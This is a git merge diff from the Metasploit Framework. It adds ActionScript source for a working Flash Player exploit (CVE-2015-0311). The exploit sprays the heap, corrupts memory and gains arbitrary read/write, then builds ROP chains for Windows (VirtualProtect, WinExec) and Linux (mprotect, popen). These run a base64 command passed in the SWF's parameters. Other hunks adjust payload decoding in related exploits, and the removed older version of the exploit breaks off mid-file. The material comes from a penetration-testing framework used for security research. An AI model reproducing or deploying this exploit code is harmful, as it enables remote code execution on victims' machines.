Merge branch 'master' of git://github.com/rapid7/metasploit-framework
commit
19106a3ea4
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -27,7 +27,10 @@ package
|
|||
public function Main()
|
||||
{
|
||||
var b64:Base64Decoder = new Base64Decoder()
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
var payload:String = b64.toByteArray().toString()
|
||||
|
||||
for (i = 0; i < bv.length; i++) {
|
||||
|
|
|
@ -32,9 +32,11 @@ package
|
|||
var i:uint = 0
|
||||
var j:uint = 0
|
||||
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray().toString()
|
||||
for (i = 0; i < defrag.length; i++) {
|
||||
defrag[i] = new ByteArray()
|
||||
defrag[i].length = BYTE_ARRAY_SIZE
|
||||
|
|
|
@ -42,8 +42,11 @@ package
|
|||
this.object_vector_length = 5770 * 2
|
||||
this.byte_array_vector_length = 510 * 2
|
||||
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray().toString()
|
||||
|
||||
this.initialize_worker_and_ba()
|
||||
if (!this.trigger())
|
||||
|
|
|
@ -0,0 +1,235 @@
|
|||
package
|
||||
{
|
||||
public class Elf
|
||||
{
|
||||
private const PT_DYNAMIC:uint = 2
|
||||
private const PT_LOAD:uint = 1
|
||||
private const PT_READ_EXEC:uint = 5
|
||||
private const DT_SYMTAB:uint = 6
|
||||
private const DT_STRTAB:uint = 5
|
||||
private const DT_PLTGOT:uint = 3
|
||||
|
||||
private var e_ba:ExploitByteArray
|
||||
// elf base address
|
||||
public var base:uint = 0
|
||||
// program header address
|
||||
public var ph:uint = 0
|
||||
// number of program headers
|
||||
public var ph_size:uint = 0
|
||||
// program header entry size
|
||||
public var ph_esize:uint = 0
|
||||
// DYNAMIC segment address
|
||||
public var seg_dynamic:uint = 0
|
||||
// DYNAMIC segment size
|
||||
public var seg_dynamic_size:uint = 0
|
||||
// CODE segment address
|
||||
public var seg_exec:uint = 0
|
||||
// CODE segment size
|
||||
public var seg_exec_size:uint = 0
|
||||
// .dynsyn section address
|
||||
public var sec_dynsym:uint = 0
|
||||
// .synstr section address
|
||||
public var sec_dynstr:uint = 0
|
||||
// .got.plt section address
|
||||
public var sec_got_plt:uint = 0
|
||||
|
||||
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||
{
|
||||
e_ba = ba
|
||||
set_base(addr)
|
||||
set_program_header()
|
||||
set_program_header_size()
|
||||
set_program_header_entry_size()
|
||||
set_dynamic_segment()
|
||||
set_exec_segment()
|
||||
set_dynsym()
|
||||
set_dynstr()
|
||||
set_got_plt()
|
||||
}
|
||||
|
||||
public function external_symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
var got_plt_index:uint = 0
|
||||
|
||||
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||
}
|
||||
if (st_info != 0x11) {
|
||||
got_plt_index++
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
public function symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
|
||||
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return base + st_value
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
|
||||
public function gadget(gadget:String, hint:uint):uint
|
||||
{
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
var contents:uint = 0
|
||||
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||
contents = e_ba.read(seg_exec + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return seg_exec + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return seg_exec + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_base(addr:uint):void
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (e_ba.read(addr) == 0x464c457f) {
|
||||
base = addr
|
||||
return
|
||||
}
|
||||
addr -= 0x1000
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_program_header():void
|
||||
{
|
||||
ph = base + e_ba.read(base + 0x1c)
|
||||
}
|
||||
|
||||
private function set_program_header_size():void
|
||||
{
|
||||
ph_size = e_ba.read(base + 0x2c, "word")
|
||||
}
|
||||
|
||||
private function set_program_header_entry_size():void
|
||||
{
|
||||
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||
}
|
||||
|
||||
private function set_dynamic_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
if (p_type == PT_DYNAMIC) {
|
||||
seg_dynamic = base + e_ba.read(entry + 8)
|
||||
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_exec_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
var p_flags:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
p_flags = e_ba.read(entry + 0x18)
|
||||
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||
seg_exec = base + e_ba.read(entry + 8)
|
||||
seg_exec_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynsym():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_SYMTAB) {
|
||||
sec_dynsym = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynstr():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_STRTAB) {
|
||||
sec_dynstr = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_got_plt():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_PLTGOT) {
|
||||
sec_got_plt = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,84 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Exploit.as
|
||||
|
||||
// Original exploit by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.display.LoaderInfo
|
||||
import flash.system.ApplicationDomain
|
||||
import flash.utils.ByteArray
|
||||
import avm2.intrinsics.memory.*
|
||||
import flash.external.ExternalInterface
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Exploit extends Sprite
|
||||
{
|
||||
private var data:uint = 0xdeaddead
|
||||
private var uv:Vector.<uint> = new Vector.<uint>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var exploiter:Exploiter
|
||||
private var b64:Base64Decoder = new Base64Decoder()
|
||||
private var payload:String
|
||||
private var platform:String
|
||||
private var massage:Vector.<Object> = new Vector.<Object>(10000)
|
||||
|
||||
public function Exploit()
|
||||
{
|
||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray().toString()
|
||||
|
||||
for (var i:uint = 0; i < massage.length / 2; i++) {
|
||||
massage[i] = new Vector.<uint>(0x3e0)
|
||||
}
|
||||
|
||||
for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
|
||||
ba.compress()
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
ba.position = 0x200
|
||||
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
|
||||
try {
|
||||
ba.uncompress()
|
||||
} catch (e:Error) { }
|
||||
|
||||
for (i = massage.length / 2; i < massage.length; i++) {
|
||||
massage[i] = new Vector.<uint>(0x3e0)
|
||||
}
|
||||
|
||||
var test:uint = li32(0)
|
||||
if (test == 0x3e0) {
|
||||
si32(0xffffffff, 0) // corrupted
|
||||
} else {
|
||||
Logger.log('[*] Exploit - corruption fail: ' + test.toString(16))
|
||||
return // something failed
|
||||
}
|
||||
|
||||
|
||||
for (i = 0; i < massage.length; i++) {
|
||||
if (massage[i].length == 0x3e0) {
|
||||
massage[i] = null
|
||||
} else {
|
||||
Logger.log('[*] Exploit - corrupted vector found at ' + i)
|
||||
uv = massage[i]
|
||||
uv[0] = 0
|
||||
}
|
||||
}
|
||||
|
||||
if (uv.length != 0xffffffff)
|
||||
return
|
||||
|
||||
exploiter = new Exploiter(this, platform, payload, uv)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,82 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
|
||||
public class ExploitByteArray
|
||||
{
|
||||
private const MAX_STRING_LENGTH:uint = 100
|
||||
public var ba:ByteArray
|
||||
public var original_length:uint
|
||||
private var platform:String
|
||||
|
||||
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||
{
|
||||
ba = new ByteArray()
|
||||
ba.length = l
|
||||
ba.endian = "littleEndian"
|
||||
ba.writeUnsignedInt(0)
|
||||
platform = p
|
||||
original_length = l
|
||||
}
|
||||
|
||||
public function set_length(length:uint):void
|
||||
{
|
||||
ba.length = length
|
||||
}
|
||||
|
||||
public function get_length():uint
|
||||
{
|
||||
return ba.length
|
||||
}
|
||||
|
||||
public function lets_ready():void
|
||||
{
|
||||
Logger.log("[*] ExploitByteArray - lets_ready()")
|
||||
ba.endian = "littleEndian"
|
||||
if (platform == "linux") {
|
||||
ba.length = 0xffffffff
|
||||
}
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
|
||||
if (ba.length == 0xffffffff)
|
||||
return true
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
public function read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function read_string(addr:uint, length:uint = 0):String
|
||||
{
|
||||
ba.position = addr
|
||||
if (length == 0)
|
||||
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||
else
|
||||
return ba.readUTFBytes(length)
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,74 @@
|
|||
package
|
||||
{
|
||||
public class ExploitVector
|
||||
{
|
||||
private var uv:Vector.<uint>
|
||||
public var original_length:uint = 0x3e0
|
||||
|
||||
public function ExploitVector(v:Vector.<uint>)
|
||||
{
|
||||
uv = v
|
||||
}
|
||||
|
||||
public function restore():void
|
||||
{
|
||||
uv[0x3ffffffe] = original_length
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (uv.length > original_length)
|
||||
{
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
public function at(pos:uint):uint
|
||||
{
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
// pos: position where a Vector.<Object>[0] lives
|
||||
public function set_own_address(pos:uint):void
|
||||
{
|
||||
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||
}
|
||||
|
||||
public function read(addr:uint):uint
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
uv[pos] = value
|
||||
}
|
||||
|
||||
public function search_pattern(pattern:uint, limit:uint):uint
|
||||
{
|
||||
for (var i:uint = 0; i < limit/4; i++) {
|
||||
if (uv[i] == pattern) {
|
||||
return i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,251 @@
|
|||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.System
|
||||
|
||||
public class Exploiter
|
||||
{
|
||||
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||
private var exploit:Exploit
|
||||
private var ev:ExploitVector
|
||||
private var eba:ExploitByteArray
|
||||
private var payload:String
|
||||
private var platform:String
|
||||
private var pos:uint
|
||||
private var byte_array_object:uint
|
||||
private var main:uint
|
||||
private var stack_object:uint
|
||||
private var payload_space_object:uint
|
||||
private var buffer_object:uint
|
||||
private var buffer:uint
|
||||
private var vtable:uint
|
||||
private var stack_address:uint
|
||||
private var payload_address:uint
|
||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(80000)
|
||||
|
||||
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
|
||||
{
|
||||
exploit = exp
|
||||
payload = p
|
||||
platform = pl
|
||||
|
||||
ev = new ExploitVector(uv)
|
||||
if (!ev.is_ready()) return
|
||||
eba = new ExploitByteArray(platform)
|
||||
spray_objects()
|
||||
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||
ev.set_own_address(pos)
|
||||
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||
disclose_addresses()
|
||||
corrupt_byte_array()
|
||||
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||
do_rop()
|
||||
restore_byte_array()
|
||||
ev.restore()
|
||||
cleanup()
|
||||
}
|
||||
|
||||
private function spray_objects():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - spray_objects()")
|
||||
for (var i:uint = 0; i < spray.length; i++)
|
||||
{
|
||||
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||
spray[i][0] = eba.ba
|
||||
spray[i][1] = exploit
|
||||
spray[i][2] = stack
|
||||
spray[i][3] = payload_space
|
||||
}
|
||||
}
|
||||
|
||||
private function search_objects():uint
|
||||
{
|
||||
Logger.log("[*] Exploiter - search_objects()")
|
||||
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000)
|
||||
return idx + 1
|
||||
}
|
||||
|
||||
private function disclose_objects():Boolean
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_objects()")
|
||||
byte_array_object = ev.at(pos) - 1
|
||||
main = ev.at(pos + 1) - 1
|
||||
stack_object = ev.at(pos + 2) - 1
|
||||
payload_space_object = ev.at(pos + 3) - 1
|
||||
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
private function disclose_addresses():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||
if (platform == "linux")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x10)
|
||||
buffer = ev.read(buffer_object + 0x1c)
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x40)
|
||||
buffer = ev.read(buffer_object + 8)
|
||||
}
|
||||
vtable = ev.read(main)
|
||||
stack_address = ev.read(stack_object + 0x18)
|
||||
payload_address = ev.read(payload_space_object + 0x18)
|
||||
}
|
||||
|
||||
private function corrupt_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c) // *array
|
||||
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8) // *array
|
||||
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||
}
|
||||
eba.lets_ready()
|
||||
}
|
||||
|
||||
private function restore_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8, buffer) // *array
|
||||
ev.write(buffer_object + 16, 1024) // capacity
|
||||
}
|
||||
eba.set_length(eba.original_length)
|
||||
}
|
||||
|
||||
private function do_rop():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop()")
|
||||
if (platform == "linux")
|
||||
do_rop_linux()
|
||||
else if (platform == "win")
|
||||
do_rop_windows()
|
||||
else
|
||||
return
|
||||
}
|
||||
|
||||
private function do_rop_windows():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = pe.procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, winexec)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// WinExec
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_linux():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||
var flash:Elf = new Elf(eba, vtable)
|
||||
var feof:uint = flash.external_symbol('feof')
|
||||
var libc:Elf = new Elf(eba, feof)
|
||||
var popen:uint = libc.symbol("popen")
|
||||
var mprotect:uint = libc.symbol("mprotect")
|
||||
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||
|
||||
// Continuation of execution
|
||||
// 1) Recover original vtable
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
// 2) Recover original stack
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||
|
||||
// Put the popen parameters in memory
|
||||
eba.write(payload_address + 8, 'r', true) // type
|
||||
eba.write(payload_address + 0xc, payload, true) // command
|
||||
|
||||
// Put the fake stack/vtable on memory
|
||||
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||
|
||||
// Return to mprotect()
|
||||
eba.write(stack_address + 0x18034, mprotect)
|
||||
// Return to stackpivot (jmp over mprotect parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mprotect() arguments
|
||||
eba.write(0, buffer) // addr
|
||||
eba.write(0, 0x1000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
// Return to popen()
|
||||
eba.write(stack_address + 0x18068, popen)
|
||||
// Return to CoE (fix stack and object vtable)
|
||||
eba.write(0, buffer + 0x10)
|
||||
// popen() argument
|
||||
eba.write(0, payload_address + 0xc)
|
||||
eba.write(0, payload_address + 8)
|
||||
|
||||
//call DWORD PTR [eax+0x24]
|
||||
//EAX: 0x41414141 ('AAAA')
|
||||
//EDI: 0xad857088 ("AAAA\377")
|
||||
eba.write(main, stack_address + 0x18000)
|
||||
exploit.hasOwnProperty('msf')
|
||||
}
|
||||
|
||||
private function cleanup():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - cleanup()")
|
||||
spray = null
|
||||
stack = null
|
||||
payload_space = null
|
||||
eba = null
|
||||
ev = null
|
||||
exploit = null
|
||||
System.pauseForGCIfCollectionImminent(0)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
package
|
||||
{
|
||||
import flash.external.ExternalInterface
|
||||
|
||||
public class Logger {
|
||||
private static const DEBUG:uint = 0
|
||||
|
||||
public static function alert(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}
|
||||
|
||||
public static function log(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("console.log", str);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,243 +0,0 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
||||
// 3. Download the Flex SDK (4.6)
|
||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite;
|
||||
import flash.display.LoaderInfo;
|
||||
import flash.system.ApplicationDomain;
|
||||
import flash.utils.ByteArray;
|
||||
import avm2.intrinsics.memory.casi32;
|
||||
import flash.external.ExternalInterface;
|
||||
import mx.utils.Base64Decoder;
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var data:uint = 0xdeaddead
|
||||
private var uv:Vector.<Object> = new Vector.<Object>
|
||||
private var ba:ByteArray = new ByteArray()
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(51200)
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:String = "";
|
||||
|
||||
/*public static function log(msg:String):void{
|
||||
var str:String = "";
|
||||
str += msg;
|
||||
|
||||
trace(str);
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}*/
|
||||
|
||||
public function Main()
|
||||
{
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
|
||||
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
|
||||
ba.compress()
|
||||
ApplicationDomain.currentDomain.domainMemory = ba
|
||||
ba.position = 0x200
|
||||
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
|
||||
try {
|
||||
ba.uncompress()
|
||||
} catch (e:Error) { }
|
||||
uv[0] = new Vector.<uint>(0x3E0)
|
||||
casi32(0, 0x3e0, 0xffffffff)
|
||||
|
||||
for (i = 0; i < spray.length; i++) {
|
||||
spray[i] = new Vector.<Object>(1014)
|
||||
spray[i][0] = ba
|
||||
spray[i][1] = this
|
||||
}
|
||||
|
||||
/*
|
||||
0:008> dd 5ca4000
|
||||
05ca4000 ffffffff 05042000 05ca4000 00000000
|
||||
05ca4010 00000000 00000000 00000000 00000000
|
||||
05ca4020 00000000 00000000 00000000 00000000
|
||||
05ca4030 00000000 00000000 00000000 00000000
|
||||
05ca4040 00000000 00000000 00000000 00000000
|
||||
05ca4050 00000000 00000000 00000000 00000000
|
||||
05ca4060 00000000 00000000 00000000 00000000
|
||||
05ca4070 00000000 00000000 00000000 00000000
|
||||
*/
|
||||
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
|
||||
//log("uv[0][0]: " + uv[0][0].toString(16));
|
||||
|
||||
ba.endian = "littleEndian"
|
||||
ba.length = 0x500000
|
||||
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
|
||||
//log("buffer: " + buffer.toString(16));
|
||||
|
||||
var main:uint = uv[0][0x2000009] - 1
|
||||
//log("main: " + main.toString(16));
|
||||
|
||||
